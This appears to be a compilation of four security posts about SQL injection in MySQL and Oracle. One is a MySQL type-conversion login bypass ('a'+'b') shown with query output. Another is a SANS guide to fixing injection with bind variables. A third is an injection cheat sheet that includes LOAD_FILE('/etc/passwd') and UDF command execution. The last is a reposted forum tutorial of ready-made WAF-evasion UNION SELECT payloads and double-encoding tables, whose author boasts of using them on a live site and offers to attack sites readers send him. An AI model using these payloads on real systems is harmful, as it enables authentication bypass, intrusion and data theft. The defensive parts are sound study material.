Implicit type conversion in MySQL

A new approach to bypassing WAFs

In some languages, using arithmetic operators on elements that aren’t numeric, give some weird results. In JavaScript for example, [ ] + { } is an Object, while { } + [ ] appears to be NaN.

If these kind of obscure actions occur in a parser that is counted on to be very reliable, things can go bad real quickly. Let’s look at how MySQL behaves…

Trying to add two integers in MySQL will result in an integer of the sum of the given integers. Simple and straightforward, as you can see below.

mysql> SELECT 1+1;
+—–+
| 1+1 |
+—–+
| 2 |
+—–+
1 row in set (0.00 sec)
MySQL Type Conversion

Nothing special there. But what would happen if we’d try to add a string and an integer…

mysql> SELECT ‘foo’+1;
+———+
| ‘foo’+1 |
+———+
| 1 |
+———+
1 row in set, 1 warning (0.00 sec)
mysql> SHOW WARNINGS;
+———+——+—————————————–+
| Level | Code | Message |
+———+——+—————————————–+
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘foo’ |
+———+——+—————————————–+
1 row in set (0.00 sec)
A bit more interesting, adding 1 to ‘foo’ returns 1. What happens here, is that ‘foo’ is converted to a DOUBLE. But since it clearly is non-numeric, it will be converted to 0 (and generate the above warning). Still nothing new here…

The reference manual of MySQL says:

When an operator is used with operands of different types, type conversion occurs to make the operands compatible.

So what happens when we try to add two strings? These are of the same type, so shouldn’t need to be converted, right?

mysql> SELECT ‘a’+’b’;
+———+
| ‘a’+’b’ |
+———+
| 0 |
+———+
1 row in set, 2 warnings (0.00 sec)
mysql> SHOW WARNINGS;
+———+——+—————————————+
| Level | Code | Message |
+———+——+—————————————+
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
+———+——+—————————————+
2 rows in set (0.00 sec)
Guess not… So something else is going on here, it appears that + is an arithmetic operator. That might explain why both strings are converted to numeric values.

So we know that the sum of two strings results in a numeric value, namely 0. You can verify this by running the query SELECT ‘a’ + ‘b’ = 0, which will result in 1 (which is the same as TRUE). Now, what would happen if we compared the sum of two strings with another string. Let’s see…

mysql> SELECT ‘a’+’b’=’c’;
+————-+
| ‘a’+’b’=’c’ |
+————-+
| 1 |
+————-+
1 row in set, 3 warnings (0.00 sec)

mysql> SHOW WARNINGS;
+———+——+—————————————+
| Level | Code | Message |
+———+——+—————————————+
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘c’ |
+———+——+—————————————+
3 rows in set (0.00 sec)
It appears that the string you compare the sum of two strings with, is converted to a numeric value (again 0). This is a kind of behaviour that might come as unexpected. It is documented somewhat unclearly in the MySQL Reference Manual as the last rule of how conversion occurs.

In all other cases, the arguments are compared as floating-point (real) numbers.

Now, this article is about bypassing Web Application Firewalls, so let’s move on to that.

Bypassings WAFs

Say you have a login-system which is vulnerable to SQL-injection. Since you have no clue how to fix this, you have put a WAF in front of your application. The login-system is likely to contain a query such as SELECT * FROM users WHERE username = ‘$_POST[“username”]’ AND password = ‘$_POST[“password”]’.

A straighforward SQL-injection attack would be to enter a’ OR 1=’1 as the username and pick a random value for the password-field. This would result in the query SELECT * FROM users WHERE username = ‘a’ OR 1=’1′ AND password = ‘foobar’. This will most likely log the attacker in as the first user in the users-table. But since you are using a WAF, you should be safe from this kind of attack.

If the attacker were a bit smarter, and use the information discussed above, he might enter a’+’b as username and the same for the password-field. This results in the following query being executed: SELECT * FROM users WHERE username = ‘a’+’b’ AND password = ‘a’+’b’. As we’ve seen above, ‘a’+’b’ will be converted to a numeric value, and so will username and password.

This means that the attacker will be logged in as the first user whose username and password doesn’t start with a numeric value. If the superadmin’s username would be 666admin, the attacker could still enter ‘a’+’666 as a username (which will be converted to the same value as 666admin will be converted to, namely 666).

I have stated that WAF’s can be bypassed using this technique, but actually WAF’s should be read as “ModSecurity and probably others as well”. You can test the a’+’b attack on one of ModSecurity’s demonstration projects. Entering ‘ OR 1=’1 as username and password will return the following error:

ModSecurity Alert Message:

Inbound Alert: 981242-Detects classic SQL injection probings 1/2

Outbound Alert: 981242-Detects classic SQL injection probings 1/2

Entering a’+’b as username and password will log you in, but no alerts or warnings are given by ModSecurity.

Until now, I have only talked about the + operator, but MySQL offers quite some other operators that will have the same effect. The MySQL 5.5 Reference Manual lists following operators as arithmetic operators: DIV, /, -, %, MOD, + and *. This makes a’MOD’1 an attack vector as well, which seems very hard for a WAF to detect as a possible SQL-Injection attack.

Until now, I have only talked about arithmetic operators. MySQL offers quite some other functions as well, for example bit functions. The functions that are usable in this case are &, |, ^, << and >>.

Until now, I have only talked about operators that make the right-hand side of the assignment evaluate first. This is because their operator precedence is higher than that of = (comparison). With the operators and functions whose precedence is equal or lower than that of =, ModSecurity does seem to detect an SQL attack. (The ‘ OR 1=’1 attack vector falls under this part.)

The moral of this blog post is that you should not depend on a WAF to protect your web application. A WAF adds another layer of defense, but as you’ve seen here, it’s not all that difficult to bypass.

Examples

As an example I’ve created following table, and populated it with 2 users.

CREATE TABLE `users` (
`userid` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(45) NOT NULL,
`password` varchar(45) NOT NULL,
PRIMARY KEY (`userid`)
);

INSERT INTO `users` (`username`, `password`) VALUES (‘admin’, ‘MySuperS3cretPass!’);
INSERT INTO `users` (`username`, `password`) VALUES (‘666admin’, ‘nataSmaI’);
Here are the results of some attack vectors.

mysql> SELECT * FROM users WHERE username = ‘a’+’b’ AND password = ‘a’+’b’;
+——–+———-+——————–+
| userid | username | password |
+——–+———-+——————–+
| 1 | admin | MySuperS3cretPass! |
+——–+———-+——————–+
1 row in set, 7 warnings (0.00 sec)

mysql> SHOW WARNINGS;
+———+——+——————————————————–+
| Level | Code | Message |
+———+——+——————————————————–+
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘admin’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘MySuperS3cretPass!’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘b’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘a’ |
| Warning | 1292 | Truncated incorrect DOUBLE value: ‘666admin’ |
+———+——+——————————————————–+
7 rows in set (0.00 sec)
mysql> SELECT * FROM users WHERE username = ‘a’+’666’ AND password = ‘a’+’b’;
+——–+———-+———-+
| userid | username | password |
+——–+———-+———-+
| 2 | 666admin | nataSmaI |
+——–+———-+———-+
1 row in set, 6 warnings (0.00 sec)
mysql> SELECT * FROM users WHERE username = ‘a’MOD’1’ AND password = ‘a’MOD’1’;
+——–+———-+——————–+
| userid | username | password |
+——–+———-+——————–+
| 1 | admin | MySuperS3cretPass! |
+——–+———-+——————–+
1 row in set, 5 warnings (0.00 sec)
In the following example, ‘a’ and ‘b’ are converted to the INTEGER 0, because & is a bit function.

mysql> SELECT * FROM users WHERE username = ‘a’&’b’ AND password = ‘a’&’b’;
+——–+———-+——————–+
| userid | username | password |
+——–+———-+——————–+
| 1 | admin | MySuperS3cretPass! |
+——–+———-+——————–+
1 row in set, 7 warnings (0.00 sec)

How To Fix SQL Injection In Oracle

How to Fix SQL Injection using Oracle Database Code

A stored procedure is a logical set of SQL statements, performing a specific task; it is compiled once and stored on a database server for all clients to execute; they are used very commonly for the many benefits that they provide. Often times, stored procedures are blindly considered secure; however, it is not so always. SQL Injection is a concern when dynamic SQL is handled incorrectly in a stored procedure.

In Oracle, dynamic SQL can be used in 1. EXECUTE IMMEDIATE statements, 2. DBMS_SQL package and 3. Cursors. This article illustrates how dynamic SQL can be built securely to defend against SQL injection attacks.

Execute Immediate Statement

Secure Usage
--Execute Immediate - named parameter
sqlStmt := 'SELECT emp_id FROM employees WHERE emp_email = :email';
EXECUTE IMMEDIATE sqlStmt USING email;

and

--Execute Immediate - positional parameter
sqlStmt := 'SELECT emp_id FROM employees WHERE emp_email = :1 and emp_name = :2';
EXECUTE IMMEDIATE sqlStmt USING email, name;
Vulnerable Usage
sqlStmt:= 'SELECT emp_id FROM employees WHERE emp_email = ''' || email || '''';
EXECUTE IMMEDIATE sqlStmt INTO empId;

Here, the input variable “email” is used directly in the query using concatenation; opening up the possibility to manipulate the “where” clause.

DBMS_SQL Package

Secure Usage
sqlStmt := 'SELECT emp_id FROM employees WHERE emp_email = :email';
empcur := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(empcur, sqlStmt, DBMS_SQL.NATIVE);
DBMS_SQL.BIND_VARIABLE(empcur, ':email', email);
DBMS_SQL.EXECUTE(empcur);

Here, bind variable is used to set data to query, hence sql injection proof.

Vulnerable Usage
sqlStmt := 'SELECT emp_id FROM employees WHERE emp_email = ''' || email || '''';
empcur:= DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(empcur, sqlStmt, DBMS_SQL.NATIVE);
DBMS_SQL.EXECUTE(empcur);

Here, the input variable “email” is used directly in the query using concatenation; opening up the possibility to manipulate the “where” clause.

Cursor with dynamic query

Secure Usage
sqlStmt := 'SELECT emp_id FROM employees WHERE emp_email = :email';
OPEN empcur FOR sqlStmt USING email;

Here, bind variable is used to set data to the query, hence sql injection proof.

Vulnerable Usage
sqlStmt := 'SELECT emp_id FROM employees WHERE emp_email = ''' || email || '''';
OPEN empcur FOR sqlStmt;

Here, the input variable “email” is used directly in the query using concatenation; opening up the possibility to manipulate the “where” clause.

——

Thanks Priya Gnanasundar!

Link: http://software-security.sans.org/developer-how-to/fix-sql-injection-in-oracle-database-code

MySQL SQL Injection Cheat Sheet

Some useful syntax reminders for SQL Injection into MySQL databases…

 

This post is part of a series of SQL Injection Cheat Sheets.  In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend.  This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.

The complete list of SQL Injection Cheat Sheets I’m working is:

I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.

Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.

Version SELECT @@version
Comments SELECT 1; #comment
SELECT /*comment*/1;
Current User SELECT user();
SELECT system_user();
List Users SELECT user FROM mysql.user; — priv
List Password Hashes SELECT host, user, password FROM mysql.user; — priv
Password Cracker John the Ripper will crack MySQL password hashes.
List Privileges SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
List DBA Accounts SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
Current Database SELECT database()
List Databases SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv
List Columns SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
List Tables SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Find Tables From Column Name SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’
Select Nth Row SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth Char SELECT substr(‘abcd’, 3, 1); # returns c
Bitwise AND SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0
ASCII Value -> Char SELECT char(65); # returns A
Char -> ASCII Value SELECT ascii(‘A’); # returns 65
Casting SELECT cast(’1′ AS unsigned integer);
SELECT cast(’123′ AS char);
String Concatenation SELECT CONCAT(‘A’,’B’); #returns AB
SELECT CONCAT(‘A’,’B’,’C’); # returns ABC
If Statement SELECT if(1=1,’foo’,’bar’); — returns ‘foo’
Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
Avoiding Quotes SELECT 0×414243; # returns ABC
Time Delay SELECT BENCHMARK(1000000,MD5(‘A’));
SELECT SLEEP(5); # >= 5.0.12
Make DNS Requests Impossible?
Command Execution If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  raptor_udf.c explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.
Local File Access …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system
Hostname, IP Address SELECT @@hostname;
Create Users CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
Delete Users DROP USER test1; — priv
Make User DBA GRANT ALL PRIVILEGES ON *.* TO test1@’%’; — priv
Location of DB files SELECT @@datadir;
Default/System Databases information_schema (>= mysql 5.0)
mysql

WAF BYPASS SQL INJECTION

Đăng lại từ: http://securityoverride.org//forum/viewthread.php?thread_id=2674

This is such a wide Topic, but today were going to examine WAF bypas and SQL injection What is a WAF? A WAF is a Web Application Firewall used to filter certain malicious requests and/or keywords. Is a WAF a safe way to protect my Website? Well, thats a tough question. A WAF alone will not protect your website if your code is vulnerable, but a WAF and secure coding will. A WAF should be used as a tool in your tool shed, but you should never count on a WAF to keep attackers out because most, if not all WAF’s can be bypassed with the time and
brains.Today,we will take a look into how exactly to do this

1. Comments:
SQL comments are a blessing to us SQL injectors. They allow us to bypass alot of the restrictions of Web application firewalls and to
kill certain SQL statements to execute the attackers commands while commenting out the actual legitimate query. Some comments in
SQL :

//, — , /**/, #, –+, — -, ;%00

2. Case Changing:

Some WAF’s will filter only lowercase attacks As we can see we can easily evade this by case changing:

Possible Regex filter:

/union\sselect/g

id=1+UnIoN/**/SeLeCT, or with XSS -> alert(1)

3. Inline Comments:

Some WAF’s filter key words like /union\sselect/ig We can bypass this filter by using inline comments most of the time, More complex examples will require more advanced approach like adding SQL keywords that will further separate the two words:

id=1/*!UnIoN*/SeLeCT

Take notice of the exclamation point /*!code*/ The exclamation point executes our SQL statement.

Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can add more inline comments. For example, lets pretend a site filters union,where, table_name, table_schema, =, and information_schema.. These are 3 statements we need to inject our target.
For this we would:

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– –

The above code would bypass the filter. Notice we can use “like” instead of “=”

Another way to use inline comemnts, when everything seems to fail you can try to through the application Firewall off by crafting a SQL statement using variables:

id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()– –

The above code should bypass the Union+select filters even where common inline comments didn’t work itself.

4. Buffer Overflow/Unexpected input:

Alot of WAFS are written in the C language making them prone to overflow or or act differently when loaded with a bunch of data. Here is a WAF that does it’s job correctly, but when given a large amount of Data allows the malicious request and response.

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A’s)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
,27,28,29,30,31,32,33,34,35,36–+

This bypass above works. I myself just used this against a Web site recently.

5. Replaced keywords(preg_replace and/or WAF’s with the same action):

Sometimes and application will remove all of a keyword. For instance, lets say we have a filter that replaces union select with whitespace. We could bypass that filter like so:

id=1+UNIunionON+SeLselectECT+1,2,3–

As you can see once union+select has been removed our capital UNION+SELECT takes its place successfully injecting our query:

UNION+SELECT+1,2,3–

6. Charachter encoding:
Most WAF’s will decode and filter an applications input, but some WAFs only decode the input once so double encoding can bypass certain filters as the WAF will decode the input once then filter while the Application will keep decoding the SQL statement executing our code.

Examples of double encoding:

id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users–+

Some examples of double encoding are:

Single Quote ‘ %u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
______________________________
White Space:    %u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
_______________________________
(                         %u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
_____________________________
)                         %u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
______________________________

7. Putting it all together:

After bypassing a few WAF’s the task gets easier and easier, but here are some ways to find out how to bypass “your” targetted WAF:

7a. Breaking the SQL statement: To find out exactly whats filtered you need to break your own SQL syntax and check for keywords being filtered, seeing if the keyword is filtered alone or in the prescence of other SQL keywords. For instance, if union+select is giving you a Forbidden or a Internal Server Error, try removing Union and seeing what happens with just Select and vice-versa

7b. Verbose Errors: When breaking the SQL syntax you use the errors to guide you on just needs to be done for instance if were were injecting the broken syntax(Removed union to stop Forbidden errors):

id=1+Select+1,2,3–

And the error was something like:

Error at line 1 near ” “+1,2,3–

We could gather that maybe the Word Select is being filtered out and replaced with white space. We could confirm this by injection something like:

sel%0bect+1,2,3

From there we would see if we can see a Select error. If we did a few more checks will give us a the answer we need to bypass this WAF. This is just one of many ways to break down the SQL syntax. You may have to keep breaking it, while bypassing different parts.

8. Advanced Bypassing Techniques: As stated earlier once you have bypassed a few WAF’s it gets easier and easier and more and more FUN:P When one finds himself running into a wall try going through all the miscreant characters to see whats allowd and whats not allowed. These characters can be: [;:{}()*&$/|<>?”‘] We can use these characters to possibly craft a working SQL exploit. For instance, during a WAF bypass I was doing everything was being either filtered or replaced. I noticed that all * were being replaced with whitespace which meant no inline comments. Union+select was also
properly filtered to produce a Forbidden error. In this instance I was able to use the replaced * to craft my exploit like so:

id=1+uni*on+sel*ect+1,2,3–+

When the * were filtered out the union+select fell right into place. Now, UNunionION+SELselectECT wasn’t working because union and select were not being replaced only * was. This is a common WAF bypass. Find the replaceable character and you find the exploit:)

Some other bypasses:

id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+’SeL”ECT’ <-MySQL only
id=1+’UnI’||’on’+SeLeCT’ <-MSSQL only

As of MySQL 4.0 it is said that Uni/**/on+Sel/**/ect will not work for bypass, but if the application firewall was customized to Filter /**/ out to whitespace it will work no matter what the version.

If anyone needs any help bypassing filters after reading and trying the above tactics please pm me with the website and I will give it a go. I love this shit!!!!!!!!!!!!!!! I know this isn’t an exhaustive filter bypass tutorial, but using the above methods(and your brain) will help you bypass most WAF’s today.

Enjoy!!

sources:
Web Application Hackers Handbook
SQL injections: Attack and Defense.